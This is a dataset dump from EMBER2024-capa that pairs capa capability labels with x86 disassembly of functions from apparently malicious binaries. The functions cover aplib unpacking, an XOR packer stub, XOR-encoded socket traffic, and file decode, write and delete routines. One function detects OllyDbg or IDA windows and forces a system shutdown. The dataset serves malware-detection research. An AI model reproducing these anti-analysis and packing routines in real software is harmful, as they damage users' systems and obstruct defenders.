joyce8/EMBER2024-capa huggingface dataset:
Function at 0x149e058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x149e1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x149e07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x149e06a
add dl, dl
jne 0x149e089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x149e0dc
xor eax, eax
add dl, dl
jne 0x149e096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x149e17d
add dl, dl
jne 0x149e0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x149e0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x149e0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x149e0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x149e0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x149e075
mov eax, 1
add dl, dl
jne 0x149e0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x149e0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x149e0e1
sub eax, ebx
mov ebx, 1
jne 0x149e128
mov ecx, 1
add dl, dl
jne 0x149e10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x149e119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x149e105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x149e075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x149e13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x149e14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x149e136
cmp eax, 0x7d00
jae 0x149e16d
cmp eax, 0x500
jb 0x149e168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x149e075
cmp eax, 0x7f
ja 0x149e170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x149e075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x149e19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x149e075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x10001000
Capabilities:
Execute command

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
push 0
push str.OllyDbg
call edi
mov esi, dword [sym.imp.MSVCR100D.dll_system]
test eax, eax
je 0x10001033
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push 0x10023768
call edi
test eax, eax
je 0x10001058
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
call fcn.10001070
call fcn.100010d0
call fcn.10001160
pop edi
pop esi
jmp fcn.100011e0

Function at 0x10001070
Capabilities:
Execute command

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
push 0
push str.ida64
call edi
mov esi, dword [sym.imp.MSVCR100D.dll_system]
test eax, eax
je 0x100010a3
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
push 0
push str.idaq
call edi
test eax, eax
je 0x100010c8
push str._echo_Off
call esi
push str.shutdown__r__f__t_00
call esi
add esp, 8
mov eax, 0
call eax
pop edi
pop esi
ret
Function at 0x10001ea0
Capabilities:
Hash data using crc32b

Disassembly:
push ebx
xor edx, edx
push edi
xor eax, eax
test dl, 1
je 0x10001eb0
mov eax, 0x80
mov ecx, edx
shr ecx, 1
test cl, 1
je 0x10001ebc
or eax, 0x40
shr ecx, 1
test cl, 1
je 0x10001ec6
or eax, 0x20
shr ecx, 1
test cl, 1
je 0x10001ed0
or eax, 0x10
shr ecx, 1
test cl, 1
je 0x10001eda
or eax, 8
shr ecx, 1
test cl, 1
je 0x10001ee4
or eax, 4
shr ecx, 1
test cl, 1
je 0x10001eee
or eax, 2
test cl, 2
je 0x10001ef6
or eax, 1
shl eax, 0x18
mov ecx, eax
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
xor edi, edi
mov dword [esi + edx*4], ecx
mov eax, ecx
lea ecx, [edi + 0x1f]
jmp 0x10001fb0
test al, 1
je 0x10001fbd
mov ebx, 1
shl ebx, cl
or edi, ebx
dec ecx
shr eax, 1
cmp ecx, 0xffffffff
jg 0x10001fb0
mov dword [esi + edx*4], edi
inc edx
cmp edx, 0xff
jle 0x10001ea4
pop edi
pop ebx
ret

Function at 0x10001fe0
Capabilities:
Encode data using xor

Disassembly:
or eax, 0xffffffff
test ecx, ecx
je 0x10002009
push ebx
push edi
lea esp, [esp]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [esi + edi*4]
inc edx
dec ecx
jne 0x10001ff0
pop edi
pop ebx
not eax
ret

Function at 0x10002010
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x1002e018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push 0x100238d4
push eax
lea eax, [ebp - 0x408]
push eax
or esi, 0xffffffff
mov dword [ebp - 0x408], 0
call dword [sym.imp.MSVCR100D.dll__wfopen_s]
add esp, 0xc
test eax, eax
je 0x10002062
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001ed20
mov esp, ebp
pop ebp
ret 8
push ebx
push edi
mov ecx, dword [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push 1
push edx
call dword [sym.imp.MSVCR100D.dll_fread]
add esp, 0x10
mov ecx, eax
lea edx, [ebp - 0x404]
test eax, eax
je 0x100020aa
mov edi, edi
movzx ebx, byte [edx]
mov edi, esi
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr esi, 8
xor esi, dword [ebx + edi*4]
inc edx
dec ecx
jne 0x10002090
cmp eax, 0x400
je 0x10002064
mov eax, dword [ebp - 0x408]
push eax
call dword [sym.imp.MSVCR100D.dll_fclose]
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop ebx
xor ecx, ebp
not eax
pop esi
call fcn.1001ed20
mov esp, ebp
pop ebp
ret 8
Function at 0x100020e0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x100238dc
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [esi], 0xffffffff
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCR100D.dll_fopen_s]
add esp, 0xc
test eax, eax
je 0x10002112
xor al, al
mov esp, ebp
pop ebp
ret 4
push edi
push 0x400
call dword [sym.imp.MSVCR100D.dll_malloc]
mov edi, eax
add esp, 4
mov dword [ebp - 8], edi
test edi, edi
jne 0x10002140
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100D.dll_fclose]
add esp, 4
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push 0x400
push 1
push edi
call dword [sym.imp.MSVCR100D.dll_fread]
add esp, 0x10
test eax, eax
je 0x100021a3
push ebx
lea ebx, [ebx]
mov ecx, eax
mov edx, edi
test eax, eax
je 0x10002189
mov eax, dword [esi]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr eax, 8
xor eax, dword [ebx + edi*4]
inc edx
dec ecx
mov dword [esi], eax
jne 0x10002168
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
push 0x400
push 1
push edi
call dword [sym.imp.MSVCR100D.dll_fread]
add esp, 0x10
test eax, eax
jne 0x10002160
pop ebx
push edi
call dword [sym.imp.MSVCR100D.dll_free]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100D.dll_fclose]
mov eax, dword [esi]
not eax
add esp, 8
mov dword [esi], eax
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x100021d0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x100238d4
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [esi], 0xffffffff
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCR100D.dll__wfopen_s]
add esp, 0xc
test eax, eax
je 0x10002202
xor al, al
mov esp, ebp
pop ebp
ret 4
push edi
push 0x400
call dword [sym.imp.MSVCR100D.dll_malloc]
mov edi, eax
add esp, 4
mov dword [ebp - 8], edi
test edi, edi
jne 0x10002230
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100D.dll_fclose]
add esp, 4
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push 0x400
push 1
push edi
call dword [sym.imp.MSVCR100D.dll_fread]
add esp, 0x10
test eax, eax
je 0x10002293
push ebx
lea ebx, [ebx]
mov ecx, eax
mov edx, edi
test eax, eax
je 0x10002279
mov eax, dword [esi]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr eax, 8
xor eax, dword [ebx + edi*4]
inc edx
dec ecx
mov dword [esi], eax
jne 0x10002258
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
push 0x400
push 1
push edi
call dword [sym.imp.MSVCR100D.dll_fread]
add esp, 0x10
test eax, eax
jne 0x10002250
pop ebx
push edi
call dword [sym.imp.MSVCR100D.dll_free]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCR100D.dll_fclose]
mov eax, dword [esi]
not eax
add esp, 8
mov dword [esi], eax
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x10002300
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x1002e018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10002339
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001ed20
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x1004ca14], eax
cmp eax, 0xffffffff
je 0x10002329
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [0x1004ca18], eax
test eax, eax
je 0x10002329
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x1014ca24], 0x10004db0
mov al, 1
call fcn.1001ed20
mov esp, ebp
pop ebp
ret

Function at 0x10002380
Capabilities:
Connect socket
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002e018]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x1004ca14], 0xffffffff
push esi
mov esi, ecx
jne 0x100023cc
push 0x10033b18
call fcn.1001af60
add esp, 4
push eax
push 0
mov ecx, 0x1014cba8
call fcn.1000b200
add esp, 8
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1001ed20
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov word [ebp - 0x18], ax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x10002414
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10002414
movsx edx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
push edx
push ecx
lea edx, [ebp - 0x14]
push edx
call sub.MSVCR100D.dll_memcpy
add esp, 0xc
mov ecx, dword [0x1004ca14]
push 0x10
lea eax, [ebp - 0x18]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0xffffffff
jne 0x10002478
call esi
cmp eax, 0x2733
je 0x10002478
call esi
push eax
push 0x10033c18
call fcn.1001af60
add esp, 4
push eax
push 0
mov ecx, 0x1014cba8
call fcn.1000b200
add esp, 0xc
mov esi, 0x1004ca10
call fcn.10002510
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1001ed20
mov esp, ebp
pop ebp
ret 4
mov edx, dword [0x1004ca18]
mov eax, dword [0x1004ca14]
push 0x23
push edx
push eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x1000249c
call esi
push eax
push 0x10033d18
jmp 0x10002443
push 0x80000
push 0
push 0x1004ca1c
call sub.MSVCR100D.dll_memset
add esp, 0xc
push 0x80000
push 0
push 0x100cca20
mov dword [0x100cca1c], 0
call sub.MSVCR100D.dll_memset
add esp, 0xc
push 0x1015d5a4
push 0
push 0x1004ca10
push 0x10002a40
push 0
push 0
mov dword [0x1014ca20], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 8]
mov dword [0x1014ca44], eax
mov al, 1
xor ecx, ebp
mov byte [0x1014ca48], al
pop esi
call fcn.1001ed20
mov esp, ebp
pop ebp
ret 4
Function at 0x10002510
Capabilities:
Terminate thread

Disassembly:
push ebx
xor ebx, ebx
cmp dword [esi + 0x100034], ebx
je 0x10002546
mov dword [0x1015d5a4], 0xffffffff
mov eax, dword [esi + 0x100034]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x100034]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x100034], ebx
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x1000255c
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
cmp eax, ebx
je 0x1000256d
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], ebx
mov byte [esi + 0x100038], bl
pop ebx
ret
Function at 0x100025a0
Capabilities:
Encode data using xor
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, eax
mov eax, dword [esi + 0x8000c]
xor edi, edi
push edi
mov ecx, 0x80000
sub ecx, eax
push ecx
lea edx, [eax + esi + 0xc]
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x100025f0
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
cmp eax, 0x2733
je 0x1000271a
call edi
push eax
push 0x10033e18
jmp 0x10002762
add dword [esi + 0x8000c], eax
mov eax, dword [esi + 0x8000c]
cmp eax, 4
jl 0x1000271a
mov al, byte [esi + edi + 0xc]
lea edx, [esi + 0xc]
cmp al, 0xc1
jne 0x1000261b
movzx ebx, byte [edi + esi + 0xd]
mov cl, byte [edi + esi + 0xf]
jmp 0x1000263a
cmp al, 0xc2
jne 0x10002757
movzx ecx, byte [edi + esi + 0xd]
shl cx, 8
movzx ebx, cx
movzx ecx, byte [edi + esi + 0xe]
or ebx, ecx
mov cl, byte [edi + esi + 0x10]
cmp ebx, 4
jl 0x10002723
cmp ebx, 0x80000
jg 0x10002723
cmp ebx, dword [esi + 0x8000c]
jg 0x100026f1
cmp al, 0xc1
jne 0x1000268d
mov dl, byte [edi + esi + 0xe]
mov byte [ebp - 4], dl
lea edx, [ebx - 3]
xor eax, eax
lea ecx, [edi + esi + 0xf]
test edx, edx
jle 0x100026b9
mov dl, byte [ecx + eax]
add dl, byte [ebp - 4]
lea ecx, [edi + esi + 0xf]
xor dl, 0xa0
mov byte [ecx + eax], dl
inc eax
lea edx, [ebx - 3]
cmp eax, edx
jl 0x10002673
jmp 0x100026b9
mov cl, byte [edi + esi + 0xf]
lea edx, [ebx - 4]
xor eax, eax
mov byte [ebp - 4], cl
lea ecx, [edi + esi + 0x10]
test edx, edx
jle 0x100026b9
mov dl, byte [ecx + eax]
add dl, byte [ebp - 4]
lea ecx, [edi + esi + 0x10]
xor dl, 0xa0
mov byte [ecx + eax], dl
inc eax
lea edx, [ebx - 4]
cmp eax, edx
jl 0x100026a1
mov al, byte [ecx]
mov edx, dword [esi + 0x100014]
mov byte [ebp - 8], al
mov ecx, dword [ebp - 8]
push ebx
lea eax, [esi + edi + 0xc]
push eax
push ecx
call edx
sub dword [esi + 0x8000c], ebx
add esp, 0xc
add edi, ebx
cmp dword [esi + 0x8000c], 0
jg 0x10002605
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jle 0x1000271a
mov eax, dword [esi + 0x8000c]
test eax, eax
jle 0x1000271a
mov ecx, 0x80000
sub ecx, edi
cmp eax, ecx
jg 0x1000271a
push eax
lea eax, [edi + esi + 0xc]
push eax
push edx
call dword [sym.imp.MSVCR100D.dll_memmove]
add esp, 0xc
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx ecx, cl
push ecx
movzx edx, al
push ebx
push edx
push 0x10034018
call fcn.1001af60
add esp, 4
push eax
push 0
mov ecx, 0x1014cba8
call fcn.1000b200
add esp, 0x14
call fcn.10002510
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, byte [edi + esi + 0xc]
push eax
push 0x10033f18
call fcn.1001af60
add esp, 4
push eax
push 0
mov ecx, 0x1014cba8
call fcn.1000b200
add esp, 0xc
call fcn.10002510
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002790
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8000c
call fcn.1001fae0
mov eax, dword [0x1002e018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x1014ca2c
mov esi, ecx
mov edi, edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x1004ca14], 0xffffffff
je 0x10002888
cmp byte [0x1014ca48], 0
je 0x10002888
push esi
lea eax, [ebp - 0x80008]
push edi
push eax
call sub.MSVCR100D.dll_memcpy
add esp, 0xc
xor eax, eax
cmp byte [ebp - 0x80008], 0xc1
jne 0x1000281a
mov cl, byte [ebp - 0x80006]
lea edi, [esi - 3]
test edi, edi
jle 0x10002848
lea esp, [esp]
mov dl, byte [ebp + eax - 0x80005]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80005], dl
inc eax
cmp eax, edi
jl 0x10002800
jmp 0x10002848
mov cl, byte [ebp - 0x80005]
lea edi, [esi - 4]
test edi, edi
jle 0x10002848
jmp 0x10002830
mov dl, byte [ebp + eax - 0x80004]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80004], dl
inc eax
cmp eax, edi
jl 0x10002830
mov eax, dword [0x1014ca20]
test eax, eax
jle 0x100028e1
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x100028a6
push ecx
push 0x10034118
call fcn.1001af60
add esp, 4
push eax
push 0
mov ecx, 0x1014cba8
call fcn.1000b200
add esp, 0xc
mov esi, 0x1004ca10
call fcn.10002510
push 0x1014ca2c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001ed20
mov esp, ebp
pop ebp
ret
push esi
lea ecx, [ebp - 0x80008]
push ecx
lea edx, [eax + 0x100cca20]
push edx
call sub.MSVCR100D.dll_memcpy
add esp, 0xc
add dword [0x1014ca20], esi
push 0x1014ca2c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.1001ed20
mov esp, ebp
pop ebp
ret
xor edi, edi
test esi, esi
jle 0x100028c3
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [0x1004ca14]
push 0
push esi
lea eax, [ebp + edi - 0x80008]
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x10002910
sub esi, eax
add edi, eax
test esi, esi
jg 0x100028ed
jmp 0x100028c3
mov ebx, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call ebx
cmp eax, 0x2733
jne 0x1000294f
mov eax, dword [0x1014ca20]
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x1000293a
push ecx
push 0x10034218
jmp 0x10002866
push esi
lea edx, [ebp + edi - 0x80008]
push edx
lea eax, [eax + 0x100cca20]
push eax
jmp 0x100028b5
call ebx
push eax
push 0x10034318
jmp 0x10002866
Function at 0x10002960
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
push edi
lea ebx, [esi + 0x10001c]
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x100029b9
lea ebx, [esi + 0x80010]
mov eax, dword [esi + 0x100010]
mov edx, dword [esi + 4]
push 0
push eax
lea ecx, [ebx + edi]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100029c9
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
jg 0x10002989
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10002a02
mov eax, dword [esi + 0x100010]
push eax
lea ecx, [edi + esi + 0x80010]
push ecx
push ebx
call dword [sym.imp.MSVCR100D.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x10034418
call fcn.1001af60
add esp, 4
push eax
push 0
mov ecx, 0x1014cba8
call fcn.1000b200
add esp, 0xc
call fcn.10002510
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003d90
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0
push 0x20
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10003df0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 8], eax
mov eax, dword [esi + 4]
test eax, eax
je 0x10003dd6
push eax
call dword [sym.imp.MSVCR100D.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [esi + 4], 0
mov ecx, dword [esi + 8]
push ecx
call fcn.1001eae0
add esp, 4
mov dword [esi + 4], eax
test eax, eax
jne 0x10003df7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 8]
push 0
lea edx, [ebp - 4]
push edx
push ecx
push eax
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
test eax, eax
je 0x10003dea
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10003e30
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
call fcn.10003d90
test al, al
jne 0x10003e3e
pop esi
ret
push edi
mov edi, dword [esi + 8]
cmp edi, 8
jae 0x10003e4c
pop edi
xor al, al
pop esi
ret
mov edx, dword [esi + 4]
mov eax, 0x100242b4
mov ecx, 8
sub edx, eax
push ebx
lea esp, [esp]
mov ebx, dword [edx + eax]
cmp ebx, dword [eax]
jne 0x10003ece
sub ecx, 4
add eax, 4
cmp ecx, 4
jae 0x10003e60
add edi, 0xfffffff8
xor eax, eax
test edi, edi
jle 0x10003ec3
jmp 0x10003e80
mov ecx, dword [esi + 4]
mov edx, eax
and edx, 0x1f
movsx edx, byte [edx + 0x10151bd4]
and edx, 0xf
movzx edx, byte [edx + 0x100242bc]
sub byte [ecx + eax + 8], dl
lea ecx, [ecx + eax + 8]
mov ecx, dword [esi + 4]
mov edx, eax
and edx, 0xf
movzx edx, byte [edx + 0x100242bc]
xor byte [ecx + eax + 8], dl
lea ecx, [ecx + eax + 8]
mov ecx, dword [esi + 8]
inc eax
sub ecx, 8
cmp eax, ecx
jl 0x10003e80
mov edi, esi
call fcn.10003ee0
pop ebx
pop edi
pop esi
ret
pop ebx
pop edi
xor al, al
pop esi
ret

Function at 0x10003ee0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea esi, [edi + 0xc]
call dword [sym.imp.MSVCR100D.dll_rand]
cdq
mov ecx, 0x2710
idiv ecx
push edx
push 0x100242cc
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x102
push 2
push 0
push 7
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10003f53
mov eax, dword [edi + 8]
mov ecx, dword [edi + 4]
push 0
lea edx, [ebp - 4]
push edx
sub eax, 8
push eax
add ecx, 8
push ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x10003f5a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10003f70
Capabilities:
Delete file

Disassembly:
push edi
lea edi, [esi + 0xc]
mov ecx, 0x100242e8
mov eax, edi
jmp 0x10003f80
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10003fa0
test dl, dl
je 0x10003f9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10003fa0
add eax, 2
add ecx, 2
test dl, dl
jne 0x10003f80
xor eax, eax
jmp 0x10003fa5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10003fdc
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x10003fdc
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.MSVCR100D.dll_void___cdecl_operator_delete___void__]
push 0x100
push 0
push edi
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call sub.MSVCR100D.dll_memset
add esp, 0x10
pop edi
ret